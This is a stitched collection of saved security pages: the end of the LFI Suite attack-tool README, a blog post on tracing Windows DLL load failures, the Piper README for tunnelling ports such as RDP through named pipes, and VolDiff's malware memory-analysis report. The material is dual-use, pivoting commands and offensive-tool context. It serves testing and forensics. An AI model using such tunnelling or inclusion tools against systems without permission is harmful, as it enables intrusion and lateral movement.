> **automatically** , then using pip it will install also the missing modules
> and download the necessary file **socks.py**.  
> I tried it on different operating systems \(Debian,Ubuntu,Fedora,Windows
> 10,OS X\) and it worked great, but if something strange happens to you and
> the automatic installation of pip and other modules fails, please install
> missing modules manually and re-run the script.  
> <img
> src='img/68747470733a2f2f706c616365686f6c642e69742f31352f6630336331352f3030303030303f746578743d2b.png'
> width='15' height='15' alt='#f03c15' /> **IMPORTANT: In order to allow the
> script to install missing modules \(and in case pip\) automatically, you
> MUST run the script as root \(or, at least, with sufficient permissions\)
> the first time.**
###  Collaboration

LFI Suite already contains a lot of features but, as you probably know, there
are plenty of other possible attacks still to implement. If you are a Python
programmer/Penetration tester and you want to join this project in order to
improve it and extend it, please contact me at <**d35m0nd142@gmail.com** > or
directly here.

###  Disclaimer

I am not responsible for any kind of illegal acts you cause. This is meant to
be used for ethical purposes by penetration testers. If you plan to copy,
redistribute please give credits to the original author.

Video: https://www.youtube.com/watch?v=6sY1Skx8MBc  
Follow me: **https://twitter.com/d35m0nd142**

  

# DLL – Demystifying Loader Lapses « Just Let It Flow

**Created:**| _10/29/2011 1:51:21 PM_  
---|---  
**Updated:**| _10/29/2011 1:51:21 PM_  
**Author:**| __  
**Tags:**| _windows security DLL_  
  

### DLL – Demystifying Loader Lapses

Filed under: Code,Windows — adeyblue @ 12:17 am

  1. Introduction
  2. Setting up
  3. The Debug Output
  4. Running Though an Example
  5. Wrap-up
  6. Notes

### Introduction

DLL hell isn’t just the name given to managing monstrous dependency chains.
It’s also the name given to the phenomenon of pulling your hair out because
LoadLibrary is returning NULL or because your dotNet app is throwing lots of
System.DllNotFoundExceptions. The usual statement Windows gives as witness to
these crimes is ‘Module not found’ as if it were some blind referee or umpire
giving a call against the local sports team, while you swear blind at the
injustice and can point at the exact file you wanted in an Explorer window.

On the surface of things it may seem like a hard luck story. Sure you can go
hook this and that in effort to figure out why appending the filename to the
dll search path resulted in failure, but like Bud Selig calling the All-Star
game a tie, Windows levels the playing field by housing a certain tool you can
leverage. And without having to write any more code in investigative anger or
download anything too.

### Setting up

The tool to enable is one of the plethora controlled by the ever useful
GlobalFlags constant I’ve mentioned before. This time, instead of the leak
checking, the ShowSnaps option is the desired one. This value instructs
Windows to output a trace of the various dll related functionality.

While you can set this up in various ways, probably the simplest way to enable
this tracing is to add a key to the Image File Execution Options part of the
registry as follows:

  1. Open regedit to HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
  2. Add a new key that has the same name as your program, including the extension
  3. Under that key, add a new DWORD value named ‘GlobalFlag’ \(without the quotes\) with a value of 2 \[1\]

Or you can use the batch file here.

Then, if you’re using Visual Studio:

  4. Start the project with Debugging \(F5\)
  5. The debug spew will be in the Output window or Immediate window depending on options

… Or WinDBG:

  4. Select ‘Open Executable’ from the File menu
  5. F5 or type ‘g’ \(without quotes\) to continue

…Otherwise:  
Well, I don’t use anything else but I’m sure any debugger will display the
output. Note that DebugView will \*not\* display it. If your debugger won’t,
you can compile the program here and redirect the output as desired.

### The Debug Output

After you run it, the first thing you’ll notice is the sheer volume of output.
The second panel below is the output for the simple program in the first.

[code]

    #include <windows.h>
    #include <stdio.h>
    int main(int argc, char** argv)
    {
        HMODULE hMod = LoadLibraryW(L"sdfghj.dll"); // non-existant
        if(!hMod)
        {
            puts("Failed to load dll");
        }
        return 0;
    }
[/code]

  
\(Sorry about the iframe, WordPress won’t display the entry if I embed it in
the entry\)

OK, now you’ve got your 341KB of tracing, where the heck do you start?
Thankfully, ‘at the start’ is not the answer.

If you don’t know the exact name of the dll that’s failing to load, the
immediate thing to do is grep or search the trace for any return status
starting with ’0xc’. This prefix indicates NTSTATUS values that have a
severity of ‘error’, failing to load a dll is included in this bracket. When
you find one, they can be decode into readable statuses by looking for their
value in ntstatus.h in the SDK, googling, or ‘winerror -s

‘ using that tool in the WDK. The format of the output is thus:  
`  
Process ID : ThreadID @ Clock Ticks - Message  
`  
_Message_ almost always include the function name as the first thing, those
always start with Ldr. These are likely undocumented functions but are named
such that you can have a pretty good idea what they’re doing. Messages are
also displayed in stack format. You’ll see several messages in a row for entry
into various functions before messages for their return in reverse order. Yep,
that’d be a stack alright.

### Running Through an Example

Names feature very prominently in the info dump. If you know the dll name
that’s not loading you can zero in much quicker on the relevant parts. If we
run through the spew above with the short program example, the bits of it that
relate to the loading of our non existant dll are:

[code]

    0f60:0e10 @ 04964295 - LdrLoadDll - ENTER: DLL name: sdfghj.dll DLL path: f:\Dev-Cpp\Projects\Test\Adjustor\x64\Release;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Subversion\bin;F:\Dev-Cpp\Projects;G:\Microsoft Visual Studio 9.0\VC\bin\amd64
    0f60:0e10 @ 04964295 - LdrpLoadDll - ENTER: DLL name: sdfghj.dll DLL path: f:\Dev-Cpp\Projects\Test\Adjustor\x64\Release;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Subversion\bin;F:\Dev-Cpp\Projects;G:\Microsoft Visual Studio 9.0\VC\bin\amd64
    0f60:0e10 @ 04964295 - LdrpLoadDll - INFO: Loading DLL sdfghj.dll from path f:\Dev-Cpp\Projects\Test\Adjustor\x64\Release;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Subversion\bin;F:\Dev-Cpp\Projects;G:\Microsoft Visual Studio 9.0\VC\bin\amd64
    0f60:0e10 @ 04964295 - LdrpFindOrMapDll - ENTER: DLL name: sdfghj.dll DLL path: f:\Dev-Cpp\Projects\Test\Adjustor\x64\Release;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Subversion\bin;F:\Dev-Cpp\Projects;G:\Microsoft Visual Studio 9.0\VC\bin\amd64
    0f60:0e10 @ 04964295 - LdrpFindKnownDll - ENTER: DLL name: sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpFindKnownDll - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpSearchPath - ENTER: DLL name: sdfghj.dll DLL path: f:\Dev-Cpp\Projects\Test\Adjustor\x64\Release;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Subversion\bin;F:\Dev-Cpp\Projects;G:\Microsoft Visual Studio 9.0\VC\bin\amd64
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: f:\Dev-Cpp\Projects\Test\Adjustor\x64\Release\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\system32\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\system\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: .\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\system32\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\System32\Wbem\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\System32\WindowsPowerShell\v1.0\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Program Files (x86)\Subversion\bin\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: F:\Dev-Cpp\Projects\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: G:\Microsoft Visual Studio 9.0\VC\bin\amd64\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpSearchPath - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpFindOrMapDll - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpLoadDll - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrLoadDll - RETURN: Status: 0xc0000135
[/code]

The first notification is upon entering LdrLoadDll, the ntdll function behind
LoadLibrary. Breaking down the message we can see in order:

[code]

    0f60:0e10 - The Process id and Thread id in hex
    04964295 - when this happened, in ticks
    LdrLoadDll - Where it happened
    DLL name: sdfghj.dll - The dll name the function is trying to load, and then the contents of the dll search path
    DLL path: f:\Dev-Cpp\Projects\Test\Adjustor\x64\Release;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Subversion\bin;F:\Dev-Cpp\Projects;G:\Microsoft Visual Studio 9.0\VC\bin\amd64
[/code]

It’s an inauspicious start that gives general information we could have gotten
ourselves. But it’s nice to know we didn’t have to. It’s good diagnostic info
too, in case somebody changed the dll search paths inbetween different load
attempts.

This info dump continues on the same lines as LdrLoadDll calls a few
subfunctions. The first proper try to resolve and load the dll name comes
after those:  
`  
0f60:0e10 @ 04964295 - LdrpFindKnownDll - ENTER: DLL name: sdfghj.dll  
0f60:0e10 @ 04964295 - LdrpFindKnownDll - RETURN: Status: 0xc0000135  
`  
Here’s where that NTSTATUS lookup becomes handy. 0xc0000135 is
STATUS\_DLL\_NOT\_FOUND. Combined with the function which returned the status,
it’s safe to say at the time of calling sdfghj.dll wasn’t a known dll. First
port of call down, the loader moves on into LdrpSearchPath. We don’t need to
be geniuses to figure out what its gonna do here:

[code]

    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: f:\Dev-Cpp\Projects\Test\Adjustor\x64\Release\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\system32\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\system\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: .\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\system32\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\System32\Wbem\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Windows\System32\WindowsPowerShell\v1.0\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: C:\Program Files (x86)\Subversion\bin\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: F:\Dev-Cpp\Projects\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpResolveFileName - ENTER: DLL name: G:\Microsoft Visual Studio 9.0\VC\bin\amd64\sdfghj.dll
    0f60:0e10 @ 04964295 - LdrpResolveFileName - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpSearchPath - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpFindOrMapDll - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrpLoadDll - RETURN: Status: 0xc0000135
    0f60:0e10 @ 04964295 - LdrLoadDll - RETURN: Status: 0xc0000135
[/code]

This now shows what the problem is. LdrpResolveFileName tries it’s darnedest
to load the dll, looking almost everywhere except the kitchen sink and each
time our friend STATUS\_DLL\_NOT\_FOUND was returned. As the status bubbles up
back through LdrLoadDll, Windows gives up and returns NULL to LoadLibrary.
Even more invaluably, the dump shows the exact paths tried. This may not mean
much in this example but when dll redirection and activation contexts get
involved, knowing exactly what was searched for helps that little bit more.

You may have noticed that there’s a lot more logged than just dll loads
though. This debug output can help when GetProcAddress fails, when module
hints and bindings are incorrect \(does anybody do that anyway?\), when your
actual dll is perfectly fine but its dependencies aren’t, viewing Side-by-Side
and .local redirections, and more.

### Conclusion

34 lines out of almost 2000 isn’t a great percentage of relevant information
hits, heck it’s probably the same as the White Sox’s win percentage, but like
most tools, at some point and in real programs you’ll be glad that 0.17%
exists. It won’t tell you in plain English, but this extra help detailing the
exact steps Windows took to try and load the dll should swing the fight
between problem and problem solver further in your direction.

The good news is that since this functionality is built into the base
operating system, it works with any program which creates a process. So VBS/JS
\(wscript.exe/cscript.exe\), Office add-ins, Java \(java.exe\), .Net,
IE/Firefox add-ins, and pretty much everything else can be logged and
investigated using this technique.

* * *
\[1\]: You can also enable this debug spew and the other GlobalFlag constants
by adding a IMAGE\_LOAD\_CONFIG\_DIRECTORY structure to your program and
setting the GlobalFlagsSet member to the desired value.

\[2\]: ShowSnaps.cmd batch file

[code]

    @echo off
    if "%1" EQU "" (
      call :ShowUsage
      goto :eof
    )
     
    set progName=%~nx1
     
    if NOT "%3" EQU "1" (
      set regPath=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
    ) else (
      set regPath=HKLM\Wow6432Node\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
    )
     
    set progRegPath="%regPath%\%progName%"
     
    if "%2" EQU "on" (
      set operation=add
      set command=reg %operation% %progRegPath% /v GlobalFlag /t REG_DWORD /d 0x2 
    ) else if "%2" EQU "off" (
      set operation=delete
      set command=reg %operation% %progRegPath% /v GlobalFlag /f
    ) else (
      call :ShowUsage
      goto :eof
    )
     
    %command%
     
    goto :eof
     
    :ShowUsage
    @echo Usage: ShowSnaps ^<program name^> ^<setting (on^|off)^> ^<is32BitProgOnWin64 (1^|0)^>
    @echo Where the words in brackets are the valid options for that argument
[/code]

\[3\] <img src='img/Temp2_1873.gif' alt=':D' /> bgOutDump for poor debuggers

[code]

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <cstdio>
    #include <vector>
    #include <string>
     
    // run as
    // DbgOutDump C:\Path\To\Program.exe any other "args you need"
     
    int __cdecl wmain(int argc, wchar_t** argv)
    {
        PROCESS_INFORMATION pi = {0};
        STARTUPINFO si  = {sizeof(si), 0};
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_SHOW;
        std::wstring cmdLine;
        for(int i = 1; i < argc; ++i)
        {
            cmdLine += L"\"";
            cmdLine += argv[i];
            cmdLine += L"\" ";
        }
        cmdLine.push_back(0);
        if(CreateProcess(NULL, &cmdLine[0], NULL, NULL, FALSE, DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi))
        {
            CloseHandle(pi.hThread);
            DEBUG_EVENT ev = {0};
            std::vector<BYTE> bytes;
            BOOL bExit = FALSE;
            while((!bExit) && (WaitForDebugEvent(&ev, INFINITE)))
            {
                switch(ev.dwDebugEventCode)
                {
                    case OUTPUT_DEBUG_STRING_EVENT:
                    {
                        const OUTPUT_DEBUG_STRING_INFO& dbgInf = ev.u.DebugString;
                        bytes.resize(dbgInf.nDebugStringLength * (dbgInf.fUnicode + 1));
                        ReadProcessMemory(pi.hProcess, dbgInf.lpDebugStringData, &bytes[0], bytes.size(), NULL);
                        printf(dbgInf.fUnicode ? "%*S\n" : "%*s\n", dbgInf.nDebugStringLength - 1, &bytes[0]);
                    }
                    break;
                    case EXIT_PROCESS_DEBUG_EVENT:
                    {
                        bExit = TRUE;
                    }
                    break;
                }
                ContinueDebugEvent(ev.dwProcessId, ev.dwThreadId, DBG_CONTINUE);
            }
            CloseHandle(pi.hProcess);
        }
        return 0;
    }
[/code]

# p3nt4/Piper

**Created:**| _9/4/2017 9:32:38 AM_  
---|---  
**Updated:**| _9/4/2017 9:32:38 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Piper

Creates a local or remote port forwarding through named pipes.

## EXAMPLES

[code]

    SERVER: Invoke-PiperServer -bindPipe testPipe -destHost 127.0.0.1 -destPort 3389
    CLIENT: net use \\serverIP /USER:User (OPTIONAL)
    CLIENT: Invoke-PiperClient -destPipe testPipe -pipeHost serverIP -bindPort 33389
    
[/code]

Creates a local port forwarding through pipe testPipe: -L 33389:127.0.0.1:3389

[code]

    SERVER: Invoke-PiperServer -remote -bindPipe testPipe  -bindPort 33389
    CLIENT: net use \\serverIP /USER:User (OPTIONAL)
    CLIENT: Invoke-PiperClient -remote -destPipe testPipe -pipeHost serverIP -destHost 127.0.0.1 -destPort 3389
    
[/code]

Creates a remote port forwarding through pipe testPipe: -R
33389:127.0.0.1:3389

## Issues

Works well with stateful protocols such as RDP and SSH. Still unstable with
protocols requiring many paralel tcp connections such as HTTP.

Does not support access control yet, all pipes will be public or available to
any authenticated user depending on the SMB configuration of the host.

  

# Outside the Closed World: On Using Machine Learning For Network Intrusion
Detection

**Created:**| _8/28/2014 9:26:23 AM_  
---|---  
**Updated:**| _8/29/2014 9:18:21 AM_  
**Author:**| __  
**Tags:**| _iDS/iPS machine-learning_  
  
<img src='img/oakland10-ml.pdf' />

# VolDiff by aim4r

**Created:**| _5/4/2015 11:18:12 AM_  
---|---  
**Updated:**| _5/4/2015 11:18:12 AM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

# VolDiff: Malware Memory Footprint Analysis

VolDiff is a bash script that runs Volatility plugins against memory images
captured before and after malware execution. It creates a report that
highlights system changes based on memory \(RAM\) analysis.

VolDiff is a simple yet powerfull malware analysis tool that enables malware
analysts to quickly identify IOCs and understand advanced malware behaviour.

##  Use Directions

  1. Capture a memory dump of a clean Windows system and save it as "baseline.vmem". This image will serve as a baseline for the analysis.
  2. Execute your malware sample on the same system, then take a second memory dump and save it as "infected.vmem".
  3. Run VolDiff:
[code]     ./VolDiff.sh path/to/baseline.vmem path/to/infected.vmem profile

    
[/code]

"profile" should be "Win7SP0x86" or "Win7SP1x64" etc.

VolDiff will save the output of a selection of Volatility plugins for both
memory images \(baseline and infected\), then it will create a report to
highlight notable changes \(new processes, network connections, injected code,
drivers etc\).

##  Sample Output

[code]

     _    __      ______  _ ________
    | |  / /___  / / __ \(_) __/ __/
    | | / / __ \/ / / / / / /_/ /_  
    | |/ / /_/ / / /_/ / / __/ __/  
    |___/\____/_/_____/_/_/ /_/     
    
    Volatility analysis report generated by VolDiff v0.9.4.
    Download the latest version from https://github.com/aim4r/VolDiff/.
    
    Suspicious new netscan entries
    =========================================================================
    
    Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
    0x3da3f618         TCPv4    172.16.108.128:139             0.0.0.0:0            LISTENING        4        System         
    0x3dad8008         TCPv4    172.16.108.128:49167           62.24.131.168:80     CLOSED           924      svchost.exe    
    0x3fc7b630         TCPv4    172.16.108.128:49164           65.55.50.157:443     CLOSED           924      svchost.exe    
    0x3fc8b5f0         TCPv4    172.16.108.128:49165           62.24.131.168:80     CLOSED           924      svchost.exe    
    0x3fdf2348         TCPv4    172.16.108.128:49168           87.236.215.151:80    CLOSED           2108     explorer.exe   
    
    
    Suspicious new pslist entries
    =========================================================================
    
    Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
    ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
    0x8508ed40 malwr.exe              2908   4020      4       64      1      0 2015-05-02 19:32:45 UTC+0000                                 
    0x872ee030 taskeng.exe            2080    916      6       85      1      0 2015-05-02 19:32:56 UTC+0000                                 
    0x8507f030 kmaxqsj.exe            2300   4044     10      243      1      0 2015-05-02 19:33:07 UTC+0000 
    
    
    Suspicious new psscan entries
    =========================================================================
    
    Offset(P)          Name                PID   PPID PDB        Time created                   Time exited                   
    ------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------
    0x000000003daee030 taskeng.exe        2080    916 0x3ebed4c0 2015-05-02 19:32:56 UTC+0000                                 
    0x000000003fc6e780 cmd.exe            2484   1540 0x3ebed340 2015-05-02 19:33:48 UTC+0000   2015-05-02 19:33:48 UTC+0000  
    0x000000003fc7f030 kmaxqsj.exe        2300   4044 0x3ebed520 2015-05-02 19:33:07 UTC+0000                                 
    0x000000003fc8ed40 malwr.exe          2908   4020 0x3ebed540 2015-05-02 19:32:45 UTC+0000                                 
    0x000000003fda2518 conhost.exe        2876    376 0x3ebed560 2015-05-02 19:33:48 UTC+0000   2015-05-02 19:33:48 UTC+0000  
    
    
    Suspicious new malfind entries
    =========================================================================
    
    Process: kmaxqsj.exe Pid: 2300 Address: 0x400000
    Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
    Flags: CommitCharge: 165, MemCommit: 1, PrivateMemory: 1, Protection: 6
    
    0x00400000  4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00   MZ..............
    0x00400010  b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00   ........@.......
    0x00400020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
    0x00400030  00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00   ................
    
    0x400000 4d               DEC EBP
    0x400001 5a               POP EDX
    0x400002 90               NOP
    0x400003 0003             ADD [EBX], AL
    0x400005 0000             ADD [EAX], AL
    0x400007 000400           ADD [EAX+EAX], AL
    0x40000a 0000             ADD [EAX], AL
    0x40000c ff               DB 0xff
    0x40000d ff00             INC DWORD [EAX]
    0x40000f 00b800000000     ADD [EAX+0x0], BH
    0x400015 0000             ADD [EAX], AL
    0x400017 004000           ADD [EAX+0x0], AL
    0x40001a 0000             ADD [EAX], AL
    0x40001c 0000             ADD [EAX], AL
    0x40001e 0000             ADD [EAX], AL
    0x400020 0000             ADD [EAX], AL
    0x400022 0000             ADD [EAX], AL
    0x400024 0000             ADD [EAX], AL
    0x400026 0000             ADD [EAX], AL
    0x400028 0000             ADD [EAX], AL
    0x40002a 0000             ADD [EAX], AL
    0x40002c 0000             ADD [EAX], AL
    0x40002e 0000             ADD [EAX], AL
    0x400030 0000             ADD [EAX], AL
    0x400032 0000             ADD [EAX], AL
    0x400034 0000             ADD [EAX], AL
    0x400036 0000             ADD [EAX], AL
    0x400038 0000             ADD [EAX], AL
    0x40003a 0000             ADD [EAX], AL
    0x40003c 800000           ADD BYTE [EAX], 0x0
    0x40003f 00               DB 0x0
    
    
    Suspicious new timeliner entries
    =========================================================================
    
    1970-01-01 00:00:00 UTC+0000|[PE HEADER (exe)]| kmaxqsj.exe| Process: kmaxqsj.exe/PID: 2300/PPID: 4044/Process POffset: 0x3fc7f030/DLL Base: 0x00400000
    1970-01-01 00:00:00 UTC+0000|[PE HEADER (exe)]| malwr.exe| Process: malwr.exe/PID: 2908/PPID: 4020/Process POffset: 0x3fc8ed40/DLL Base: 0x00400000
    2015-04-18 23:40:59 UTC+0000|[PROCESS]| svchost.exe| PID: 640/PPID: 516/POffset: 0x3dd6bb70
    2015-04-18 23:41:00 UTC+0000|[PROCESS]| svchost.exe| PID: 1228/PPID: 516/POffset: 0x3da31968
    2015-05-02 19:32:00 UTC+0000|[NETWORK CONNECTION]| 172.16.108.128:1900 -> *:*| 3084/UDPv4//0x3db82140
    2015-05-02 19:32:00 UTC+0000|[NETWORK CONNECTION]| 172.16.108.128:58385 -> *:*| 3084/UDPv4//0x3d8473f0
    2015-05-02 19:32:00 UTC+0000|[NETWORK CONNECTION]| fe80::4847:83c0:c352:feac:1900 -> *:*| 3084/UDPv6//0x3fd62f50
    2015-05-02 19:32:00 UTC+0000|[NETWORK CONNECTION]| fe80::4847:83c0:c352:feac:58383 -> *:*| 3084/UDPv6//0x3db2ba68
    2015-05-02 19:32:45 UTC+0000|[PROCESS]| malwr.exe| PID: 2908/PPID: 4020/POffset: 0x3fc8ed40
    2015-05-02 19:32:56 UTC+0000|[PROCESS]| taskeng.exe| PID: 2080/PPID: 916/POffset: 0x3daee030
    2015-05-02 19:33:07 UTC+0000|[PROCESS]| kmaxqsj.exe| PID: 2300/PPID: 4044/POffset: 0x3fc7f030
    2015-05-02 19:33:39 UTC+0000|[PROCESS]| SearchFilterHo| PID: 2168/PPID: 2608/POffset: 0x3fa12030
    2015-05-02 19:33:39 UTC+0000|[PROCESS]| SearchProtocol| PID: 3852/PPID: 2608/POffset: 0x3fa10b68
    2015-05-02 19:33:48 UTC+0000|[NETWORK CONNECTION]| 0.0.0.0:0 -> *:*| 1228/UDPv4//0x3db4c1a0
    2015-05-02 19:33:48 UTC+0000|[NETWORK CONNECTION]| 0.0.0.0:5355 -> *:*| 1228/UDPv4//0x3fccf320
    2015-05-02 19:33:48 UTC+0000|[NETWORK CONNECTION]| 0.0.0.0:5355 -> *:*| 1228/UDPv4//0x3fccf6b0
    2015-05-02 19:33:48 UTC+0000|[NETWORK CONNECTION]| :::0 -> *:*| 1228/UDPv6//0x3db4c1a0
    2015-05-02 19:33:48 UTC+0000|[NETWORK CONNECTION]| 172.16.108.128:68 -> *:*| 756/UDPv4//0x3fdcacd8
    2015-05-02 19:33:48 UTC+0000|[NETWORK CONNECTION]| :::5355 -> *:*| 1228/UDPv6//0x3fccf320
    2015-05-02 19:33:48 UTC+0000|[PROCESS]| cmd.exe| PID: 2484/PPID: 1540/POffset: 0x3fc6e780 End: 2015-05-02 19:33:48 UTC+0000
    2015-05-02 19:33:48 UTC+0000|[PROCESS]| conhost.exe| PID: 2876/PPID: 376/POffset: 0x3fda2518 End: 2015-05-02 19:33:48 UTC+0000
    
    
    Suspicious new svcscan entries
    =========================================================================
    
    Process ID: 876
    Service State: SERVICE_RUNNING
    Binary Path: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
    Process ID: 924
    Service State: SERVICE_RUNNING
    Binary Path: C:\Windows\system32\svchost.exe -k netsvcs
    
    
    Suspicious new cmdline entries
    =========================================================================
    
    malwr.exe pid:   2908
    Command line : "Z:\Malware\Malware Samples\malwr.exe"
    ************************************************************************
    taskeng.exe pid:   2080
    Command line : taskeng.exe {4240277E-D433-456A-B44E-4BD07C4DB325}
    ************************************************************************
    kmaxqsj.exe pid:   2300
    Command line : "C:\Users\victim\AppData\Local\Temp\kmaxqsj.exe"
    ************************************************************************
    
    
    Suspicious new mutantscan entries
    =========================================================================
    
    Offset(P)              #Ptr     #Hnd Signal Thread           CID Name
    ------------------ -------- -------- ------ ---------- --------- ----
    0x000000003da022f8        3        2      1 0x00000000           HGFSMUTEX
    0x000000003da3e120        2        1      1 0x00000000           5827a689a8a470200835d840817112f0
    0x000000003daaab90        2        1      1 0x00000000           WininetProxyRegistryMutex
    0x000000003df68d60        2        1      0 0x855d8248 2108:1140 41df362a3f3d701bb5b5749a3e43f484
    0x000000003e171b68        5        4      1 0x00000000           d3b1bbc7-c020-4056-9ded-7c6f40b5a2fc
    0x000000003f984208        2        1      0 0x852c41d0 2108:3712 ad1751de900a1713cecd716adfda611f
    0x000000003f99a228        2        1      1 0x00000000           WininetStartupMutex
    0x000000003f9ddef8        2        1      0 0x872aabe0  2108:668 cb16681dee85a67993f0759da19566be
    0x000000003fcd69a0        2        1      1 0x00000000           WininetConnectionMutex
    
    
    No notable changes to highlight from the following plugins
    ===========================================================================
    
    consoles
    deskscan
    drivermodule
    driverscan
    driverirp
    devicetree
